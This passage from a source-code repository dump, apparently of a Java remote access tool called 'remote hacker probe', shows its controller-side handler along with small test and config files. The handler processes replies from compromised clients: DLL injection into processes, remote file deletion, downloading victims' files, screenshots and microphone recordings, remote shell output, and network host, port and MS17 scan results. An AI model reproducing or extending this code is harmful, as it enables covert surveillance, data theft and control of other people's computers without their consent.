74 | if(LOG.size() > 0) {
75 | break;
76 | }
77 |
78 | TimeUnit.MILLISECONDS.sleep(5);
79 | x+=1;
80 |
81 | } catch (Exception ef) {
82 | ef.printStackTrace();
83 | }
84 | }
85 | }
86 | @Override
87 | public void run() {
88 | while(run) {
89 | try {
90 | TimeUnit.SECONDS.sleep(1);
91 | } catch (InterruptedException e1) {
92 | // TODO Auto-generated catch block
93 | e1.printStackTrace();
94 | }
95 | InputStream is;
96 | try {
97 | is = sock.getInputStream();
98 | } catch (IOException e) {
99 | clear();
100 | e.printStackTrace();
101 | break;
102 | } catch (NullPointerException ne) {
103 | clear();
104 | ne.printStackTrace();
105 | break;
106 | }
107 | int read;
108 | try {
109 | LOG.clear();
110 | Arrays.fill(Server.buffer, (byte)0);
111 | read = is.read(Server.buffer);
112 | String response = new String(Server.buffer, 0, read);
113 | LOG.add(response);
114 |
115 |
116 |
117 | //Shell s = new Shell();
118 | if(Shell.ShellOutput.isVisible())
119 | {
120 | Shell.ShellOutput.append("\n" + response);
121 | }
122 |
123 |
124 | if(FileManager.contentPanel.isVisible())
125 | {
126 | if(response.startsWith("RHPDIR<>")) {
127 | FileManager.model.removeAllElements();
128 | FileManager.model.clear();
129 | String[] files = response.split("\n");
130 | String file;
131 | for (int i = 0; i < files.length; i++) {
132 | file = files[i];
133 | if(file.startsWith("RHPDIR<>")) {
134 | FileManager.textField.setText(file.replace("RHPDIR<>", ""));
135 | } else if(file.startsWith("^")) {
136 | FileManager.model.addElement(file.replace("^", "(^)")); // A directory
137 | } else {
138 | FileManager.model.addElement(file);
139 | }
140 | }
141 | }
142 | }
143 |
144 | if(response.startsWith("DLL_OK"))
145 | {
146 | try {
147 | String[] parse = response.split(":");
148 | JOptionPane.showMessageDialog(null, "Injected DLL in Process ID " + parse[1] + " on Client ID " + String.valueOf(Server.Clients.indexOf(sock)));
149 | MainWindow.Log("Injected DLL in Process ID " + parse[1] + " on Client ID " + String.valueOf(Server.Clients.indexOf(sock)));
150 | } catch (Exception spe)
151 | {
152 | spe.printStackTrace();
153 | }
154 |
155 | } else if (response.startsWith("DEL_OK")) {
156 | try {
157 | String[] parse = response.split(",");
158 | int mainIndex = Server.Clients.indexOf(sock);
159 | JOptionPane.showMessageDialog(null, "File '"+parse[1] + "' deleted from '"+parse[2]+"'.", Server.UserPC.get(mainIndex) + " says : ", JOptionPane.INFORMATION_MESSAGE);
160 | MainWindow.Log( "File '"+parse[1] + "' deleted from '"+parse[2]+"'.");
161 | } catch (Exception e) {
162 | e.printStackTrace();
163 | }
164 |
165 |
166 | }
167 |
168 | else if(response.startsWith("FILE")) {
169 | String fileinfo[] = response.split(":");
170 | String filename = fileinfo[1].strip();
171 | String filesizeStr = fileinfo[2].strip();
172 | int fsize = Integer.parseInt(filesizeStr);
173 | JOptionPane.showMessageDialog(null, "File '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded.");
174 | MainWindow.Log( "File '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded.");
175 | File downloaded_file = new File(filename);
176 | downloaded_file.createNewFile();
177 | FileOutputStream fos = new FileOutputStream(downloaded_file, false);
178 | BufferedOutputStream out = new BufferedOutputStream(fos);
179 |
180 | MainWindow.HaltAllSystems();
181 | byte[] filebuf = new byte[fsize];
182 | Arrays.fill(filebuf, (byte)0);
183 | do {
184 | read= is.readNBytes(filebuf, 0, fsize);
185 | fos.write(filebuf, 0, read);
186 | if(read == Integer.parseInt(filesizeStr)) {
187 | break;
188 | }
189 | //System.out.println(read);
190 | } while (read != 0);
191 |
192 | MainWindow.EnableAllSystems();
193 | fos.close();
194 | JOptionPane.showMessageDialog(null, "File " + filename + " downloaded.\nBytes Expected : " + filesizeStr + " Bytes.\n"
195 | + "Bytes Recevied : " + String.valueOf( new File(filename).length()) + " Bytes.");
196 | MainWindow.Log("File " + filename + " downloaded.");
197 |
198 | out.flush();
199 | }
200 |
201 | else if (response.startsWith("F_OK")) {
202 | String fileokinfo[] = response.split(",");
203 | int mainIndex = Server.Clients.indexOf(sock);
204 | JOptionPane.showMessageDialog(null,
205 |
206 | "Uploaded : " + fileokinfo[1] +
207 | "\nBytes Sent : " + fileokinfo[2] + " bytes."+
208 | "\nUploaded to : " + fileokinfo[3]
209 | , Server.UserPC.get(mainIndex) + " : ", JOptionPane.INFORMATION_MESSAGE);
210 | }
211 |
212 | else if(response.startsWith("PROCESS"))
213 | {
214 | try {
215 | String parse[] = response.split(",");
216 |
217 | int mainIndex = Server.Clients.indexOf(sock);
218 | JOptionPane.showMessageDialog(null, "Process Name : " + parse[1] + "\nProcess PID : " + parse[2] + "\nProcess Path : " + parse[3], Server.UserPC.get(mainIndex) + " says : ", JOptionPane.INFORMATION_MESSAGE);
219 | } catch (Exception es)
220 | {
221 | es.printStackTrace();
222 | }
223 | }
224 |
225 | else if(response.startsWith("drive"))
226 | {
227 | FileManager.driveslist.clear();
228 | String[ ] parse = response.split(",");
229 | for (String x : parse) {
230 | FileManager.driveslist.add(x.replace("drive:", ""));
231 | }
232 | }
233 |
234 | else if(response.startsWith("[HOST]"))
235 | {
236 | try {
237 | //System.out.println("Got the damn response!");
238 | String parse[] = response.split(",");
239 | String IpAddr = parse[1];
240 | String hostname = parse[2];
241 | String Macaddr = parse[3];
242 |
243 | NetworkScanner.NsModel.addElement("Discovered host : " + IpAddr + " - " + hostname + " - " + Macaddr );
244 | } catch (Exception ls)
245 | {
246 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception.
247 | }
248 | }
249 |
250 | else if (response.startsWith("[HOSTERR]")) {
251 | try {
252 | //System.out.println("Got the damn ERROR response!");
253 | String parse[] = response.split("-");
254 | NetworkScanner.NsModel.addElement( parse[1]);
255 |
256 | } catch (Exception ls)
257 | {
258 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception.
259 | }
260 | }
261 |
262 | else if(response.startsWith("OPENPORT"))
263 | {
264 | try {
265 | String parse[] = response.split(":")[1].split(",");
266 |
267 | NetworkScanner.PModel.addElement( "Port is open " + parse[1] + " (" + NetworkScanner.PortService(parse[1]) + ") on " + parse[0]);
268 |
269 | } catch (Exception ls)
270 | {
271 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception.
272 | }
273 | }
274 |
275 | else if(response.startsWith("!MS17!")){
276 | try {
277 | String[] infoString = response.split("!MS17!");
278 |
279 | for (String info : infoString) {
280 | NetworkScanner.EModel.addElement(info);
281 | }
282 |
283 | } catch (Exception ls)
284 | {
285 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception.
286 | }
287 | }
288 |
289 | else if(response.startsWith("DIRERROR"))
290 | {
291 | try {
292 | String infoString = response.replace("DIRERROR", "");
293 |
294 | int mainIndex = Server.Clients.indexOf(sock);
295 | JOptionPane.showMessageDialog(null, infoString, Server.UserPC.get(mainIndex) + " says : ", JOptionPane.INFORMATION_MESSAGE);
296 | MainWindow.Log(Server.UserPC.get(mainIndex) + " says : " + infoString);
297 |
298 | } catch (Exception ls)
299 | {
300 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception.
301 | }
302 | }
303 |
304 | else if(response.startsWith("F_ERR"))
305 | {
306 | try {
307 | String infoString = response.replace("F_ERR", "");
308 | int mainIndex = Server.Clients.indexOf(sock);
309 | JOptionPane.showMessageDialog(null, infoString, Server.UserPC.get(mainIndex) + " says : ", JOptionPane.INFORMATION_MESSAGE);
310 | MainWindow.Log(Server.UserPC.get(mainIndex) + " says : " + infoString);
311 |
312 | } catch (Exception ls)
313 | {
314 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception.
315 | }
316 | }
317 | else if(response.startsWith("!hs!")){
318 | try {
319 | String infoString = response.replace("!hs!", "");
320 |
321 | NetworkScanner.HModel.addElement(infoString);
322 |
323 | } catch (Exception ls)
324 | {
325 | ls.printStackTrace(); // TODO : what the fuck am I naming the exception.
326 | }
327 | }
328 |
329 | else if(response.startsWith("SCREENSHOT")) {
330 | String fileinfo[] = response.split(":");
331 | String filename = fileinfo[1].strip();
332 | String filesizeStr = fileinfo[2].strip();
333 | int fsize = Integer.parseInt(filesizeStr);
334 | //JOptionPane.showMessageDialog(null, "File '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded.");
335 | MainWindow.Log( "Screenshot '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded.");
336 | File downloaded_file = new File(filename);
337 | downloaded_file.createNewFile();
338 | FileOutputStream fos = new FileOutputStream(downloaded_file, false);
339 | BufferedOutputStream out = new BufferedOutputStream(fos);
340 |
341 | MainWindow.HaltAllSystems();
342 | byte[] filebuf = new byte[fsize];
343 | Arrays.fill(filebuf, (byte)0);
344 | do {
345 | read= is.readNBytes(filebuf, 0, fsize);
346 | fos.write(filebuf, 0, read);
347 | if(read == Integer.parseInt(filesizeStr)) {
348 | break;
349 | }
350 | //System.out.println(read);
351 | } while (read != 0);
352 |
353 | fos.close();
354 | // Convert bmp to png
355 | String newfile = filename.replace(".bmp", ".png");
356 | BufferedImage bmpimg = ImageIO.read(downloaded_file);
357 | File outputfile = new File("screenshots/"+newfile); //
358 | ImageIO.write(bmpimg, "png", outputfile);
359 | // Delete original
360 | try {
361 | Path delete = new File(filename).toPath(); Files.deleteIfExists(delete);
362 | } catch (Exception eS)
363 | {
364 | eS.printStackTrace();
365 | }
366 |
367 |
368 | // Display Image
369 | ImageViewer.ImagePath = "screenshots/" + newfile;
370 | ImageViewer iv = new ImageViewer(); iv.setVisible(true);
371 |
372 | MainWindow.EnableAllSystems();
373 |
374 | //JOptionPane.showMessageDialog(null, "File " + filename + " downloaded.\nBytes Expected : " + filesizeStr + " Bytes.\n"
375 | // + "Bytes Recevied : " + String.valueOf( new File(filename).length()) + " Bytes.");
376 | MainWindow.Log("Screenshot " + filename + " downloaded.");
377 |
378 | out.flush();
379 | }
380 |
381 | else if(response.startsWith("MIC_OK"))
382 | {
383 | String Message = response.replace("MIC_OK:","");
384 | MainWindow.Log("Client ID " + String.valueOf(Server.Clients.indexOf(sock)) + " says : " + Message);
385 | MicRecorder.AnimateGui();
386 | }
387 |
388 | else if(response.startsWith("MIC")) {
389 | String fileinfo[] = response.split(":");
390 | String filename = fileinfo[1].strip();
391 | String filesizeStr = fileinfo[2].strip();
392 | int fsize = Integer.parseInt(filesizeStr);
393 |
394 | MainWindow.Log( "Mic Recording '" + filename + "' of size '" + filesizeStr + "' bytes will be Downloaded.");
395 | File downloaded_file = new File(filename);
396 | downloaded_file.createNewFile();
397 | FileOutputStream fos = new FileOutputStream(downloaded_file, false);
398 | BufferedOutputStream out = new BufferedOutputStream(fos);
399 |
400 | MainWindow.HaltAllSystems();
401 | byte[] filebuf = new byte[fsize];
402 | Arrays.fill(filebuf, (byte)0);
403 | do {
404 | read= is.readNBytes(filebuf, 0, fsize);
405 | fos.write(filebuf, 0, read);
406 | if(read == Integer.parseInt(filesizeStr)) {
407 | break;
408 | }
409 | //System.out.println(read);
410 | } while (read != 0);
411 |
412 | MainWindow.EnableAllSystems();
413 | fos.close();
414 | JOptionPane.showMessageDialog(null, "Mic Recording " + filename + " downloaded.\nBytes Expected : " + filesizeStr + " Bytes.\n"
415 | + "Bytes Recevied : " + String.valueOf( new File(filename).length()) + " Bytes.");
416 | MainWindow.Log("File " + filename + " downloaded.");
417 |
418 | out.flush();
419 | }
420 |
421 |
422 | else {
423 | if(!Shell.ShellOutput.isVisible()) {
424 | MainWindow.Log("Client ID " + String.valueOf(Server.Clients.indexOf(sock)) + " sent : " + response + " (" + String.valueOf(response.length()) + " bytes)");
425 | }
426 | }
427 |
428 | } catch (IOException e) {
429 | clear();
430 | e.printStackTrace();
431 | break;
432 | } catch (NullPointerException ne) {
433 | clear();
434 | ne.printStackTrace();
435 | break;
436 | } catch(java.lang.StringIndexOutOfBoundsException strE) {
437 | clear(); strE.printStackTrace(); break;
438 | } catch(java.lang.ArrayIndexOutOfBoundsException arraE) {
439 | clear(); arraE.printStackTrace(); break;
440 | }
441 | }
442 | }
443 | }
--------------------------------------------------------------------------------
/gui/user.ini:
--------------------------------------------------------------------------------
1 | username=BATMAN
--------------------------------------------------------------------------------
/gui/waypoint_white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/waypoint_white.png
--------------------------------------------------------------------------------
/img/dark.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/dark.PNG
--------------------------------------------------------------------------------
/img/light.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/light.PNG
--------------------------------------------------------------------------------
/img/rhp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/rhp.png
--------------------------------------------------------------------------------
/img/rhpbig.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/rhpbig.png
--------------------------------------------------------------------------------
/img/rshell.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/rshell.PNG
--------------------------------------------------------------------------------
/img/solarizeddark.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/solarizeddark.PNG
--------------------------------------------------------------------------------
/img/solarizedlight.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/img/solarizedlight.PNG
--------------------------------------------------------------------------------
/payloads/README.md:
--------------------------------------------------------------------------------
1 | # Payloads
2 | Coming soon
--------------------------------------------------------------------------------
/tests/settings.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import java.io.*;
4 | import java.io.FileInputStream;
5 | import java.io.FileNotFoundException;
6 | import java.io.FileWriter;
7 | import java.io.IOException;
8 | import java.io.InputStream;
9 | import java.util.Properties;
10 |
11 |
12 | class Test{
13 |
14 | public static void changeProperty(String filename, String key, String value) throws IOException {
15 | Properties prop =new Properties();
16 | prop.load(new FileInputStream(filename));
17 | prop.setProperty(key, value);
18 | prop.store(new FileOutputStream(filename),null);
19 | }
20 |
21 | public static void main(String[] args){
22 | try{
23 | changeProperty("rhp.ini", "theme", "light");
24 | } catch(Exception e){
25 | e.printStackTrace();
26 | }
27 |
28 | }
29 | }
--------------------------------------------------------------------------------
/tests/test.java:
--------------------------------------------------------------------------------
1 | import java.util.*;
2 | import java.nio.file.Files;
3 | import java.nio.file.Paths;
4 |
5 | class test {
6 |
7 | /**
8 | *
9 | * Fixed this function :D
10 | * Thanks to, the test file!
11 | *
12 | * **/
13 | public static String PortService(String Port)
14 | {
15 | String info = "";
16 | try {
17 | List lines = Files.readAllLines(Paths.get("C://Users//saadm//Documents//eclipse-workspace//rhp//common_ports.rhp"));
18 |
19 | for (String line : lines) {
20 | if(line.contains(Port))
21 | {
22 | String parse[] = line.split(" ");
23 | info = parse[0];
24 | break;
25 | }
26 |
27 | else {
28 | info = " - ";
29 | }
30 | }
31 | } catch (Exception e) {
32 | e.printStackTrace();
33 | }
34 |
35 | return info;
36 | }
37 |
38 | public static void main(String args[])
39 | {
40 | System.out.println(PortService("445"));
41 | }
42 | }
--------------------------------------------------------------------------------